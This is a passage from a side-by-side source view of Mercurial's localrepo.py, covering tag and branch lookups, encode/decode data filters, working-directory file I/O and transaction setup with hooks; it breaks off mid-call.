2076 | for t, n in pycompat.iteritems(self.tags()): |
|
2076 | for t, n in pycompat.iteritems(self.tags()): | |
2077 | l.append((self.changelog.rev(n), t, n)) |
|
2077 | l.append((self.changelog.rev(n), t, n)) | |
2078 | self._tagscache.tagslist = [(t, n) for r, t, n in sorted(l)] |
|
2078 | self._tagscache.tagslist = [(t, n) for r, t, n in sorted(l)] | |
2079 |
|
2079 | |||
2080 | return self._tagscache.tagslist |
|
2080 | return self._tagscache.tagslist | |
2081 |
|
2081 | |||
2082 | def nodetags(self, node): |
|
2082 | def nodetags(self, node): | |
2083 | '''return the tags associated with a node''' |
|
2083 | '''return the tags associated with a node''' | |
2084 | if not self._tagscache.nodetagscache: |
|
2084 | if not self._tagscache.nodetagscache: | |
2085 | nodetagscache = {} |
|
2085 | nodetagscache = {} | |
2086 | for t, n in pycompat.iteritems(self._tagscache.tags): |
|
2086 | for t, n in pycompat.iteritems(self._tagscache.tags): | |
2087 | nodetagscache.setdefault(n, []).append(t) |
|
2087 | nodetagscache.setdefault(n, []).append(t) | |
2088 | for tags in pycompat.itervalues(nodetagscache): |
|
2088 | for tags in pycompat.itervalues(nodetagscache): | |
2089 | tags.sort() |
|
2089 | tags.sort() | |
2090 | self._tagscache.nodetagscache = nodetagscache |
|
2090 | self._tagscache.nodetagscache = nodetagscache | |
2091 | return self._tagscache.nodetagscache.get(node, []) |
|
2091 | return self._tagscache.nodetagscache.get(node, []) | |
2092 |
|
2092 | |||
2093 | def nodebookmarks(self, node): |
|
2093 | def nodebookmarks(self, node): | |
2094 | """return the list of bookmarks pointing to the specified node""" |
|
2094 | """return the list of bookmarks pointing to the specified node""" | |
2095 | return self._bookmarks.names(node) |
|
2095 | return self._bookmarks.names(node) | |
2096 |
|
2096 | |||
2097 | def branchmap(self): |
|
2097 | def branchmap(self): | |
2098 | """returns a dictionary {branch: [branchheads]} with branchheads |
|
2098 | """returns a dictionary {branch: [branchheads]} with branchheads | |
2099 | ordered by increasing revision number""" |
|
2099 | ordered by increasing revision number""" | |
2100 | return self._branchcaches[self] |
|
2100 | return self._branchcaches[self] | |
2101 |
|
2101 | |||
2102 | @unfilteredmethod |
|
2102 | @unfilteredmethod | |
2103 | def revbranchcache(self): |
|
2103 | def revbranchcache(self): | |
2104 | if not self._revbranchcache: |
|
2104 | if not self._revbranchcache: | |
2105 | self._revbranchcache = branchmap.revbranchcache(self.unfiltered()) |
|
2105 | self._revbranchcache = branchmap.revbranchcache(self.unfiltered()) | |
2106 | return self._revbranchcache |
|
2106 | return self._revbranchcache | |
2107 |
|
2107 | |||
2108 | def register_changeset(self, rev, changelogrevision): |
|
2108 | def register_changeset(self, rev, changelogrevision): | |
2109 | self.revbranchcache().setdata(rev, changelogrevision) |
|
2109 | self.revbranchcache().setdata(rev, changelogrevision) | |
2110 |
|
2110 | |||
2111 | def branchtip(self, branch, ignoremissing=False): |
|
2111 | def branchtip(self, branch, ignoremissing=False): | |
2112 | """return the tip node for a given branch |
|
2112 | """return the tip node for a given branch | |
2113 |
|
2113 | |||
2114 | If ignoremissing is True, then this method will not raise an error. |
|
2114 | If ignoremissing is True, then this method will not raise an error. | |
2115 | This is helpful for callers that only expect None for a missing branch |
|
2115 | This is helpful for callers that only expect None for a missing branch | |
2116 | (e.g. namespace). |
|
2116 | (e.g. namespace). | |
2117 |
|
2117 | |||
2118 | """ |
|
2118 | """ | |
2119 | try: |
|
2119 | try: | |
2120 | return self.branchmap().branchtip(branch) |
|
2120 | return self.branchmap().branchtip(branch) | |
2121 | except KeyError: |
|
2121 | except KeyError: | |
2122 | if not ignoremissing: |
|
2122 | if not ignoremissing: | |
2123 | raise error.RepoLookupError(_(b"unknown branch '%s'") % branch) |
|
2123 | raise error.RepoLookupError(_(b"unknown branch '%s'") % branch) | |
2124 | else: |
|
2124 | else: | |
2125 | pass |
|
2125 | pass | |
2126 |
|
2126 | |||
2127 | def lookup(self, key): |
|
2127 | def lookup(self, key): | |
2128 | node = scmutil.revsymbol(self, key).node() |
|
2128 | node = scmutil.revsymbol(self, key).node() | |
2129 | if node is None: |
|
2129 | if node is None: | |
2130 | raise error.RepoLookupError(_(b"unknown revision '%s'") % key) |
|
2130 | raise error.RepoLookupError(_(b"unknown revision '%s'") % key) | |
2131 | return node |
|
2131 | return node | |
2132 |
|
2132 | |||
2133 | def lookupbranch(self, key): |
|
2133 | def lookupbranch(self, key): | |
2134 | if self.branchmap().hasbranch(key): |
|
2134 | if self.branchmap().hasbranch(key): | |
2135 | return key |
|
2135 | return key | |
2136 |
|
2136 | |||
2137 | return scmutil.revsymbol(self, key).branch() |
|
2137 | return scmutil.revsymbol(self, key).branch() | |
2138 |
|
2138 | |||
2139 | def known(self, nodes): |
|
2139 | def known(self, nodes): | |
2140 | cl = self.changelog |
|
2140 | cl = self.changelog | |
2141 | get_rev = cl.index.get_rev |
|
2141 | get_rev = cl.index.get_rev | |
2142 | filtered = cl.filteredrevs |
|
2142 | filtered = cl.filteredrevs | |
2143 | result = [] |
|
2143 | result = [] | |
2144 | for n in nodes: |
|
2144 | for n in nodes: | |
2145 | r = get_rev(n) |
|
2145 | r = get_rev(n) | |
2146 | resp = not (r is None or r in filtered) |
|
2146 | resp = not (r is None or r in filtered) | |
2147 | result.append(resp) |
|
2147 | result.append(resp) | |
2148 | return result |
|
2148 | return result | |
2149 |
|
2149 | |||
2150 | def local(self): |
|
2150 | def local(self): | |
2151 | return self |
|
2151 | return self | |
2152 |
|
2152 | |||
2153 | def publishing(self): |
|
2153 | def publishing(self): | |
2154 | # it's safe (and desirable) to trust the publish flag unconditionally |
|
2154 | # it's safe (and desirable) to trust the publish flag unconditionally | |
2155 | # so that we don't finalize changes shared between users via ssh or nfs |
|
2155 | # so that we don't finalize changes shared between users via ssh or nfs | |
2156 | return self.ui.configbool(b'phases', b'publish', untrusted=True) |
|
2156 | return self.ui.configbool(b'phases', b'publish', untrusted=True) | |
2157 |
|
2157 | |||
2158 | def cancopy(self): |
|
2158 | def cancopy(self): | |
2159 | # so statichttprepo's override of local() works |
|
2159 | # so statichttprepo's override of local() works | |
2160 | if not self.local(): |
|
2160 | if not self.local(): | |
2161 | return False |
|
2161 | return False | |
2162 | if not self.publishing(): |
|
2162 | if not self.publishing(): | |
2163 | return True |
|
2163 | return True | |
2164 | # if publishing we can't copy if there is filtered content |
|
2164 | # if publishing we can't copy if there is filtered content | |
2165 | return not self.filtered(b'visible').changelog.filteredrevs |
|
2165 | return not self.filtered(b'visible').changelog.filteredrevs | |
2166 |
|
2166 | |||
2167 | def shared(self): |
|
2167 | def shared(self): | |
2168 | '''the type of shared repository (None if not shared)''' |
|
2168 | '''the type of shared repository (None if not shared)''' | |
2169 | if self.sharedpath != self.path: |
|
2169 | if self.sharedpath != self.path: | |
2170 | return b'store' |
|
2170 | return b'store' | |
2171 | return None |
|
2171 | return None | |
2172 |
|
2172 | |||
2173 | def wjoin(self, f, *insidef): |
|
2173 | def wjoin(self, f, *insidef): | |
2174 | return self.vfs.reljoin(self.root, f, *insidef) |
|
2174 | return self.vfs.reljoin(self.root, f, *insidef) | |
2175 |
|
2175 | |||
2176 | def setparents(self, p1, p2=None): |
|
2176 | def setparents(self, p1, p2=None): | |
2177 | if p2 is None: |
|
2177 | if p2 is None: | |
2178 | p2 = self.nullid |
|
2178 | p2 = self.nullid | |
2179 | self[None].setparents(p1, p2) |
|
2179 | self[None].setparents(p1, p2) | |
2180 | self._quick_access_changeid_invalidate() |
|
2180 | self._quick_access_changeid_invalidate() | |
2181 |
|
2181 | |||
2182 | def filectx(self, path, changeid=None, fileid=None, changectx=None): |
|
2182 | def filectx(self, path, changeid=None, fileid=None, changectx=None): | |
2183 | """changeid must be a changeset revision, if specified. |
|
2183 | """changeid must be a changeset revision, if specified. | |
2184 | fileid can be a file revision or node.""" |
|
2184 | fileid can be a file revision or node.""" | |
2185 | return context.filectx( |
|
2185 | return context.filectx( | |
2186 | self, path, changeid, fileid, changectx=changectx |
|
2186 | self, path, changeid, fileid, changectx=changectx | |
2187 | ) |
|
2187 | ) | |
2188 |
|
2188 | |||
2189 | def getcwd(self): |
|
2189 | def getcwd(self): | |
2190 | return self.dirstate.getcwd() |
|
2190 | return self.dirstate.getcwd() | |
2191 |
|
2191 | |||
2192 | def pathto(self, f, cwd=None): |
|
2192 | def pathto(self, f, cwd=None): | |
2193 | return self.dirstate.pathto(f, cwd) |
|
2193 | return self.dirstate.pathto(f, cwd) | |
2194 |
|
2194 | |||
2195 | def _loadfilter(self, filter): |
|
2195 | def _loadfilter(self, filter): | |
2196 | if filter not in self._filterpats: |
|
2196 | if filter not in self._filterpats: | |
2197 | l = [] |
|
2197 | l = [] | |
2198 | for pat, cmd in self.ui.configitems(filter): |
|
2198 | for pat, cmd in self.ui.configitems(filter): | |
2199 | if cmd == b'!': |
|
2199 | if cmd == b'!': | |
2200 | continue |
|
2200 | continue | |
2201 | mf = matchmod.match(self.root, b'', [pat]) |
|
2201 | mf = matchmod.match(self.root, b'', [pat]) | |
2202 | fn = None |
|
2202 | fn = None | |
2203 | params = cmd |
|
2203 | params = cmd | |
2204 | for name, filterfn in pycompat.iteritems(self._datafilters): |
|
2204 | for name, filterfn in pycompat.iteritems(self._datafilters): | |
2205 | if cmd.startswith(name): |
|
2205 | if cmd.startswith(name): | |
2206 | fn = filterfn |
|
2206 | fn = filterfn | |
2207 | params = cmd[len(name) :].lstrip() |
|
2207 | params = cmd[len(name) :].lstrip() | |
2208 | break |
|
2208 | break | |
2209 | if not fn: |
|
2209 | if not fn: | |
2210 | fn = lambda s, c, **kwargs: procutil.filter(s, c) |
|
2210 | fn = lambda s, c, **kwargs: procutil.filter(s, c) | |
2211 | fn.__name__ = 'commandfilter' |
|
2211 | fn.__name__ = 'commandfilter' | |
2212 | # Wrap old filters not supporting keyword arguments |
|
2212 | # Wrap old filters not supporting keyword arguments | |
2213 | if not pycompat.getargspec(fn)[2]: |
|
2213 | if not pycompat.getargspec(fn)[2]: | |
2214 | oldfn = fn |
|
2214 | oldfn = fn | |
2215 | fn = lambda s, c, oldfn=oldfn, **kwargs: oldfn(s, c) |
|
2215 | fn = lambda s, c, oldfn=oldfn, **kwargs: oldfn(s, c) | |
2216 | fn.__name__ = 'compat-' + oldfn.__name__ |
|
2216 | fn.__name__ = 'compat-' + oldfn.__name__ | |
2217 | l.append((mf, fn, params)) |
|
2217 | l.append((mf, fn, params)) | |
2218 | self._filterpats[filter] = l |
|
2218 | self._filterpats[filter] = l | |
2219 | return self._filterpats[filter] |
|
2219 | return self._filterpats[filter] | |
2220 |
|
2220 | |||
2221 | def _filter(self, filterpats, filename, data): |
|
2221 | def _filter(self, filterpats, filename, data): | |
2222 | for mf, fn, cmd in filterpats: |
|
2222 | for mf, fn, cmd in filterpats: | |
2223 | if mf(filename): |
|
2223 | if mf(filename): | |
2224 | self.ui.debug( |
|
2224 | self.ui.debug( | |
2225 | b"filtering %s through %s\n" |
|
2225 | b"filtering %s through %s\n" | |
2226 | % (filename, cmd or pycompat.sysbytes(fn.__name__)) |
|
2226 | % (filename, cmd or pycompat.sysbytes(fn.__name__)) | |
2227 | ) |
|
2227 | ) | |
2228 | data = fn(data, cmd, ui=self.ui, repo=self, filename=filename) |
|
2228 | data = fn(data, cmd, ui=self.ui, repo=self, filename=filename) | |
2229 | break |
|
2229 | break | |
2230 |
|
2230 | |||
2231 | return data |
|
2231 | return data | |
2232 |
|
2232 | |||
2233 | @unfilteredpropertycache |
|
2233 | @unfilteredpropertycache | |
2234 | def _encodefilterpats(self): |
|
2234 | def _encodefilterpats(self): | |
2235 | return self._loadfilter(b'encode') |
|
2235 | return self._loadfilter(b'encode') | |
2236 |
|
2236 | |||
2237 | @unfilteredpropertycache |
|
2237 | @unfilteredpropertycache | |
2238 | def _decodefilterpats(self): |
|
2238 | def _decodefilterpats(self): | |
2239 | return self._loadfilter(b'decode') |
|
2239 | return self._loadfilter(b'decode') | |
2240 |
|
2240 | |||
2241 | def adddatafilter(self, name, filter): |
|
2241 | def adddatafilter(self, name, filter): | |
2242 | self._datafilters[name] = filter |
|
2242 | self._datafilters[name] = filter | |
2243 |
|
2243 | |||
2244 | def wread(self, filename): |
|
2244 | def wread(self, filename): | |
2245 | if self.wvfs.islink(filename): |
|
2245 | if self.wvfs.islink(filename): | |
2246 | data = self.wvfs.readlink(filename) |
|
2246 | data = self.wvfs.readlink(filename) | |
2247 | else: |
|
2247 | else: | |
2248 | data = self.wvfs.read(filename) |
|
2248 | data = self.wvfs.read(filename) | |
2249 | return self._filter(self._encodefilterpats, filename, data) |
|
2249 | return self._filter(self._encodefilterpats, filename, data) | |
2250 |
|
2250 | |||
2251 | def wwrite(self, filename, data, flags, backgroundclose=False, **kwargs): |
|
2251 | def wwrite(self, filename, data, flags, backgroundclose=False, **kwargs): | |
2252 | """write ``data`` into ``filename`` in the working directory |
|
2252 | """write ``data`` into ``filename`` in the working directory | |
2253 |
|
2253 | |||
2254 | This returns length of written (maybe decoded) data. |
|
2254 | This returns length of written (maybe decoded) data. | |
2255 | """ |
|
2255 | """ | |
2256 | data = self._filter(self._decodefilterpats, filename, data) |
|
2256 | data = self._filter(self._decodefilterpats, filename, data) | |
2257 | if b'l' in flags: |
|
2257 | if b'l' in flags: | |
2258 | self.wvfs.symlink(data, filename) |
|
2258 | self.wvfs.symlink(data, filename) | |
2259 | else: |
|
2259 | else: | |
2260 | self.wvfs.write( |
|
2260 | self.wvfs.write( | |
2261 | filename, data, backgroundclose=backgroundclose, **kwargs |
|
2261 | filename, data, backgroundclose=backgroundclose, **kwargs | |
2262 | ) |
|
2262 | ) | |
2263 | if b'x' in flags: |
|
2263 | if b'x' in flags: | |
2264 | self.wvfs.setflags(filename, False, True) |
|
2264 | self.wvfs.setflags(filename, False, True) | |
2265 | else: |
|
2265 | else: | |
2266 | self.wvfs.setflags(filename, False, False) |
|
2266 | self.wvfs.setflags(filename, False, False) | |
2267 | return len(data) |
|
2267 | return len(data) | |
2268 |
|
2268 | |||
2269 | def wwritedata(self, filename, data): |
|
2269 | def wwritedata(self, filename, data): | |
2270 | return self._filter(self._decodefilterpats, filename, data) |
|
2270 | return self._filter(self._decodefilterpats, filename, data) | |
2271 |
|
2271 | |||
2272 | def currenttransaction(self): |
|
2272 | def currenttransaction(self): | |
2273 | """return the current transaction or None if non exists""" |
|
2273 | """return the current transaction or None if non exists""" | |
2274 | if self._transref: |
|
2274 | if self._transref: | |
2275 | tr = self._transref() |
|
2275 | tr = self._transref() | |
2276 | else: |
|
2276 | else: | |
2277 | tr = None |
|
2277 | tr = None | |
2278 |
|
2278 | |||
2279 | if tr and tr.running(): |
|
2279 | if tr and tr.running(): | |
2280 | return tr |
|
2280 | return tr | |
2281 | return None |
|
2281 | return None | |
2282 |
|
2282 | |||
2283 | def transaction(self, desc, report=None): |
|
2283 | def transaction(self, desc, report=None): | |
2284 | if self.ui.configbool(b'devel', b'all-warnings') or self.ui.configbool( |
|
2284 | if self.ui.configbool(b'devel', b'all-warnings') or self.ui.configbool( | |
2285 | b'devel', b'check-locks' |
|
2285 | b'devel', b'check-locks' | |
2286 | ): |
|
2286 | ): | |
2287 | if self._currentlock(self._lockref) is None: |
|
2287 | if self._currentlock(self._lockref) is None: | |
2288 | raise error.ProgrammingError(b'transaction requires locking') |
|
2288 | raise error.ProgrammingError(b'transaction requires locking') | |
2289 | tr = self.currenttransaction() |
|
2289 | tr = self.currenttransaction() | |
2290 | if tr is not None: |
|
2290 | if tr is not None: | |
2291 | return tr.nest(name=desc) |
|
2291 | return tr.nest(name=desc) | |
2292 |
|
2292 | |||
2293 | # abort here if the journal already exists |
|
2293 | # abort here if the journal already exists | |
2294 | if self.svfs.exists(b"journal"): |
|
2294 | if self.svfs.exists(b"journal"): | |
2295 | raise error.RepoError( |
|
2295 | raise error.RepoError( | |
2296 | _(b"abandoned transaction found"), |
|
2296 | _(b"abandoned transaction found"), | |
2297 | hint=_(b"run 'hg recover' to clean up transaction"), |
|
2297 | hint=_(b"run 'hg recover' to clean up transaction"), | |
2298 | ) |
|
2298 | ) | |
2299 |
|
2299 | |||
2300 | idbase = b"%.40f#%f" % (random.random(), time.time()) |
|
2300 | idbase = b"%.40f#%f" % (random.random(), time.time()) | |
2301 | ha = hex(hashutil.sha1(idbase).digest()) |
|
2301 | ha = hex(hashutil.sha1(idbase).digest()) | |
2302 | txnid = b'TXN:' + ha |
|
2302 | txnid = b'TXN:' + ha | |
2303 | self.hook(b'pretxnopen', throw=True, txnname=desc, txnid=txnid) |
|
2303 | self.hook(b'pretxnopen', throw=True, txnname=desc, txnid=txnid) | |
2304 |
|
2304 | |||
2305 | self._writejournal(desc) |
|
2305 | self._writejournal(desc) | |
2306 | renames = [(vfs, x, undoname(x)) for vfs, x in self._journalfiles()] |
|
2306 | renames = [(vfs, x, undoname(x)) for vfs, x in self._journalfiles()] | |
2307 | if report: |
|
2307 | if report: | |
2308 | rp = report |
|
2308 | rp = report | |
2309 | else: |
|
2309 | else: | |
2310 | rp = self.ui.warn |
|
2310 | rp = self.ui.warn | |
2311 | vfsmap = {b'plain': self.vfs, b'store': self.svfs} # root of .hg/ |
|
2311 | vfsmap = {b'plain': self.vfs, b'store': self.svfs} # root of .hg/ | |
2312 | # we must avoid cyclic reference between repo and transaction. |
|
2312 | # we must avoid cyclic reference between repo and transaction. | |
2313 | reporef = weakref.ref(self) |
|
2313 | reporef = weakref.ref(self) | |
2314 | # Code to track tag movement |
|
2314 | # Code to track tag movement | |
2315 | # |
|
2315 | # | |
2316 | # Since tags are all handled as file content, it is actually quite hard |
|
2316 | # Since tags are all handled as file content, it is actually quite hard | |
2317 | # to track these movement from a code perspective. So we fallback to a |
|
2317 | # to track these movement from a code perspective. So we fallback to a | |
2318 | # tracking at the repository level. One could envision to track changes |
|
2318 | # tracking at the repository level. One could envision to track changes | |
2319 | # to the '.hgtags' file through changegroup apply but that fails to |
|
2319 | # to the '.hgtags' file through changegroup apply but that fails to | |
2320 | # cope with case where transaction expose new heads without changegroup |
|
2320 | # cope with case where transaction expose new heads without changegroup | |
2321 | # being involved (eg: phase movement). |
|
2321 | # being involved (eg: phase movement). | |
2322 | # |
|
2322 | # | |
2323 | # For now, We gate the feature behind a flag since this likely comes |
|
2323 | # For now, We gate the feature behind a flag since this likely comes | |
2324 | # with performance impacts. The current code run more often than needed |
|
2324 | # with performance impacts. The current code run more often than needed | |
2325 | # and do not use caches as much as it could. The current focus is on |
|
2325 | # and do not use caches as much as it could. The current focus is on | |
2326 | # the behavior of the feature so we disable it by default. The flag |
|
2326 | # the behavior of the feature so we disable it by default. The flag | |
2327 | # will be removed when we are happy with the performance impact. |
|
2327 | # will be removed when we are happy with the performance impact. | |
2328 | # |
|
2328 | # | |
2329 | # Once this feature is no longer experimental move the following |
|
2329 | # Once this feature is no longer experimental move the following | |
2330 | # documentation to the appropriate help section: |
|
2330 | # documentation to the appropriate help section: | |
2331 | # |
|
2331 | # | |
2332 | # The ``HG_TAG_MOVED`` variable will be set if the transaction touched |
|
2332 | # The ``HG_TAG_MOVED`` variable will be set if the transaction touched | |
2333 | # tags (new or changed or deleted tags). In addition the details of |
|
2333 | # tags (new or changed or deleted tags). In addition the details of | |
2334 | # these changes are made available in a file at: |
|
2334 | # these changes are made available in a file at: | |
2335 | # ``REPOROOT/.hg/changes/tags.changes``. |
|
2335 | # ``REPOROOT/.hg/changes/tags.changes``. | |
2336 | # Make sure you check for HG_TAG_MOVED before reading that file as it |
|
2336 | # Make sure you check for HG_TAG_MOVED before reading that file as it | |
2337 | # might exist from a previous transaction even if no tag were touched |
|
2337 | # might exist from a previous transaction even if no tag were touched | |
2338 | # in this one. Changes are recorded in a line base format:: |
|
2338 | # in this one. Changes are recorded in a line base format:: | |
2339 | # |
|
2339 | # | |
2340 | # <action> <hex-node> <tag-name>\n |
|
2340 | # <action> <hex-node> <tag-name>\n | |
2341 | # |
|
2341 | # | |
2342 | # Actions are defined as follow: |
|
2342 | # Actions are defined as follow: | |
2343 | # "-R": tag is removed, |
|
2343 | # "-R": tag is removed, | |
2344 | # "+A": tag is added, |
|
2344 | # "+A": tag is added, | |
2345 | # "-M": tag is moved (old value), |
|
2345 | # "-M": tag is moved (old value), | |
2346 | # "+M": tag is moved (new value), |
|
2346 | # "+M": tag is moved (new value), | |
2347 | tracktags = lambda x: None |
|
2347 | tracktags = lambda x: None | |
2348 | # experimental config: experimental.hook-track-tags |
|
2348 | # experimental config: experimental.hook-track-tags | |
2349 | shouldtracktags = self.ui.configbool( |
|
2349 | shouldtracktags = self.ui.configbool( | |
2350 | b'experimental', b'hook-track-tags' |
|
2350 | b'experimental', b'hook-track-tags' | |
2351 | ) |
|
2351 | ) | |
2352 | if desc != b'strip' and shouldtracktags: |
|
2352 | if desc != b'strip' and shouldtracktags: | |
2353 | oldheads = self.changelog.headrevs() |
|
2353 | oldheads = self.changelog.headrevs() | |
2354 |
|
2354 | |||
2355 | def tracktags(tr2): |
|
2355 | def tracktags(tr2): | |
2356 | repo = reporef() |
|
2356 | repo = reporef() | |
2357 | assert repo is not None # help pytype |
|
2357 | assert repo is not None # help pytype | |
2358 | oldfnodes = tagsmod.fnoderevs(repo.ui, repo, oldheads) |
|
2358 | oldfnodes = tagsmod.fnoderevs(repo.ui, repo, oldheads) | |
2359 | newheads = repo.changelog.headrevs() |
|
2359 | newheads = repo.changelog.headrevs() | |
2360 | newfnodes = tagsmod.fnoderevs(repo.ui, repo, newheads) |
|
2360 | newfnodes = tagsmod.fnoderevs(repo.ui, repo, newheads) | |
2361 | # notes: we compare lists here. |
|
2361 | # notes: we compare lists here. | |
2362 | # As we do it only once buiding set would not be cheaper |
|
2362 | # As we do it only once buiding set would not be cheaper | |
2363 | changes = tagsmod.difftags(repo.ui, repo, oldfnodes, newfnodes) |
|
2363 | changes = tagsmod.difftags(repo.ui, repo, oldfnodes, newfnodes) | |
2364 | if changes: |
|
2364 | if changes: | |
2365 | tr2.hookargs[b'tag_moved'] = b'1' |
|
2365 | tr2.hookargs[b'tag_moved'] = b'1' | |
2366 | with repo.vfs( |
|
2366 | with repo.vfs( | |
2367 | b'changes/tags.changes', b'w', atomictemp=True |
|
2367 | b'changes/tags.changes', b'w', atomictemp=True | |
2368 | ) as changesfile: |
|
2368 | ) as changesfile: | |
2369 | # note: we do not register the file to the transaction |
|
2369 | # note: we do not register the file to the transaction | |
2370 | # because we needs it to still exist on the transaction |
|
2370 | # because we needs it to still exist on the transaction | |
2371 | # is close (for txnclose hooks) |
|
2371 | # is close (for txnclose hooks) | |
2372 | tagsmod.writediff(changesfile, changes) |
|
2372 | tagsmod.writediff(changesfile, changes) | |
2373 |
|
2373 | |||
2374 | def validate(tr2): |
|
2374 | def validate(tr2): | |
2375 | """will run pre-closing hooks""" |
|
2375 | """will run pre-closing hooks""" | |
2376 | # XXX the transaction API is a bit lacking here so we take a hacky |
|
2376 | # XXX the transaction API is a bit lacking here so we take a hacky | |
2377 | # path for now |
|
2377 | # path for now | |
2378 | # |
|
2378 | # | |
2379 | # We cannot add this as a "pending" hooks since the 'tr.hookargs' |
|
2379 | # We cannot add this as a "pending" hooks since the 'tr.hookargs' | |
2380 | # dict is copied before these run. In addition we needs the data |
|
2380 | # dict is copied before these run. In addition we needs the data | |
2381 | # available to in memory hooks too. |
|
2381 | # available to in memory hooks too. | |
2382 | # |
|
2382 | # | |
2383 | # Moreover, we also need to make sure this runs before txnclose |
|
2383 | # Moreover, we also need to make sure this runs before txnclose | |
2384 | # hooks and there is no "pending" mechanism that would execute |
|
2384 | # hooks and there is no "pending" mechanism that would execute | |
2385 | # logic only if hooks are about to run. |
|
2385 | # logic only if hooks are about to run. | |
2386 | # |
|
2386 | # | |
2387 | # Fixing this limitation of the transaction is also needed to track |
|
2387 | # Fixing this limitation of the transaction is also needed to track | |
2388 | # other families of changes (bookmarks, phases, obsolescence). |
|
2388 | # other families of changes (bookmarks, phases, obsolescence). | |
2389 | # |
|
2389 | # | |
2390 | # This will have to be fixed before we remove the experimental |
|
2390 | # This will have to be fixed before we remove the experimental | |
2391 | # gating. |
|
2391 | # gating. | |
2392 | tracktags(tr2) |
|
2392 | tracktags(tr2) | |
2393 | repo = reporef() |
|
2393 | repo = reporef() | |
2394 | assert repo is not None # help pytype |
|
2394 | assert repo is not None # help pytype | |
2395 |
|
2395 | |||
2396 | singleheadopt = (b'experimental', b'single-head-per-branch') |
|
2396 | singleheadopt = (b'experimental', b'single-head-per-branch') | |
2397 | singlehead = repo.ui.configbool(*singleheadopt) |
|
2397 | singlehead = repo.ui.configbool(*singleheadopt) | |
2398 | if singlehead: |
|
2398 | if singlehead: | |
2399 | singleheadsub = repo.ui.configsuboptions(*singleheadopt)[1] |
|
2399 | singleheadsub = repo.ui.configsuboptions(*singleheadopt)[1] | |
2400 | accountclosed = singleheadsub.get( |
|
2400 | accountclosed = singleheadsub.get( | |
2401 | b"account-closed-heads", False |
|
2401 | b"account-closed-heads", False | |
2402 | ) |
|
2402 | ) | |
2403 | if singleheadsub.get(b"public-changes-only", False): |
|
2403 | if singleheadsub.get(b"public-changes-only", False): | |
2404 | filtername = b"immutable" |
|
2404 | filtername = b"immutable" | |
2405 | else: |
|
2405 | else: | |
2406 | filtername = b"visible" |
|
2406 | filtername = b"visible" | |
2407 | scmutil.enforcesinglehead( |
|
2407 | scmutil.enforcesinglehead( | |
2408 | repo, tr2, desc, accountclosed, filtername |
|
2408 | repo, tr2, desc, accountclosed, filtername | |
2409 | ) |
|
2409 | ) | |
2410 | if hook.hashook(repo.ui, b'pretxnclose-bookmark'): |
|
2410 | if hook.hashook(repo.ui, b'pretxnclose-bookmark'): | |
2411 | for name, (old, new) in sorted( |
|
2411 | for name, (old, new) in sorted( | |
2412 | tr.changes[b'bookmarks'].items() |
|
2412 | tr.changes[b'bookmarks'].items() | |
2413 | ): |
|
2413 | ): | |
2414 | args = tr.hookargs.copy() |
|
2414 | args = tr.hookargs.copy() | |
2415 | args.update(bookmarks.preparehookargs(name, old, new)) |
|
2415 | args.update(bookmarks.preparehookargs(name, old, new)) | |
2416 | repo.hook( |
|
2416 | repo.hook( | |
2417 | b'pretxnclose-bookmark', |
|
2417 | b'pretxnclose-bookmark', | |
2418 | throw=True, |
|
2418 | throw=True, | |
2419 | **pycompat.strkwargs(args) |
|
2419 | **pycompat.strkwargs(args) | |
2420 | ) |
|
2420 | ) | |
2421 | if hook.hashook(repo.ui, b'pretxnclose-phase'): |
|
2421 | if hook.hashook(repo.ui, b'pretxnclose-phase'): | |
2422 | cl = repo.unfiltered().changelog |
|
2422 | cl = repo.unfiltered().changelog | |
2423 | for revs, (old, new) in tr.changes[b'phases']: |
|
2423 | for revs, (old, new) in tr.changes[b'phases']: | |
2424 | for rev in revs: |
|
2424 | for rev in revs: | |
2425 | args = tr.hookargs.copy() |
|
2425 | args = tr.hookargs.copy() | |
2426 | node = hex(cl.node(rev)) |
|
2426 | node = hex(cl.node(rev)) | |
2427 | args.update(phases.preparehookargs(node, old, new)) |
|
2427 | args.update(phases.preparehookargs(node, old, new)) | |
2428 | repo.hook( |
|
2428 | repo.hook( | |
2429 | b'pretxnclose-phase', |
|
2429 | b'pretxnclose-phase', | |
2430 | throw=True, |
|
2430 | throw=True, | |
2431 | **pycompat.strkwargs(args) |
|
2431 | **pycompat.strkwargs(args) | |
2432 | ) |
|
2432 | ) | |
2433 |
|
2433 | |||
2434 | repo.hook( |
|
2434 | repo.hook( | |
2435 | b'pretxnclose', throw=True, **pycompat.strkwargs(tr.hookargs) |
|
2435 | b'pretxnclose', throw=True, **pycompat.strkwargs(tr.hookargs) | |
2436 | ) |
|
2436 | ) | |
2437 |
|
2437 | |||
2438 | def releasefn(tr, success): |
|
2438 | def releasefn(tr, success): | |
2439 | repo = reporef() |
|
2439 | repo = reporef() | |
2440 | if repo is None: |
|
2440 | if repo is None: | |
2441 | # If the repo has been GC'd (and this release function is being |
|
2441 | # If the repo has been GC'd (and this release function is being | |
2442 | # called from transaction.__del__), there's not much we can do, |
|
2442 | # called from transaction.__del__), there's not much we can do, | |
2443 | # so just leave the unfinished transaction there and let the |
|
2443 | # so just leave the unfinished transaction there and let the | |
2444 | # user run `hg recover`. |
|
2444 | # user run `hg recover`. | |
2445 | return |
|
2445 | return | |
2446 | if success: |
|
2446 | if success: | |
2447 | # this should be explicitly invoked here, because |
|
2447 | # this should be explicitly invoked here, because | |
2448 | # in-memory changes aren't written out at closing |
|
2448 | # in-memory changes aren't written out at closing | |
2449 | # transaction, if tr.addfilegenerator (via |
|
2449 | # transaction, if tr.addfilegenerator (via | |
2450 | # dirstate.write or so) isn't invoked while |
|
2450 | # dirstate.write or so) isn't invoked while | |
2451 | # transaction running |
|
2451 | # transaction running | |
2452 | repo.dirstate.write(None) |
|
2452 | repo.dirstate.write(None) | |
2453 | else: |
|
2453 | else: | |
2454 | # discard all changes (including ones already written |
|
2454 | # discard all changes (including ones already written | |
2455 | # out) in this transaction |
|
2455 | # out) in this transaction | |
2456 | narrowspec.restorebackup(self, b'journal.narrowspec') |
|
2456 | narrowspec.restorebackup(self, b'journal.narrowspec') | |
2457 | narrowspec.restorewcbackup(self, b'journal.narrowspec.dirstate') |
|
2457 | narrowspec.restorewcbackup(self, b'journal.narrowspec.dirstate') | |
2458 | repo.dirstate.restorebackup(None, b'journal.dirstate') |
|
2458 | repo.dirstate.restorebackup(None, b'journal.dirstate') | |
2459 |
|
2459 | |||
2460 | repo.invalidate(clearfilecache=True) |
|
2460 | repo.invalidate(clearfilecache=True) | |
2461 |
|
2461 | |||
2462 | tr = transaction.transaction( |
|
2462 | tr = transaction.transaction( | |
2463 | rp, |
|
2463 | rp, | |
2464 | self.svfs, |
|
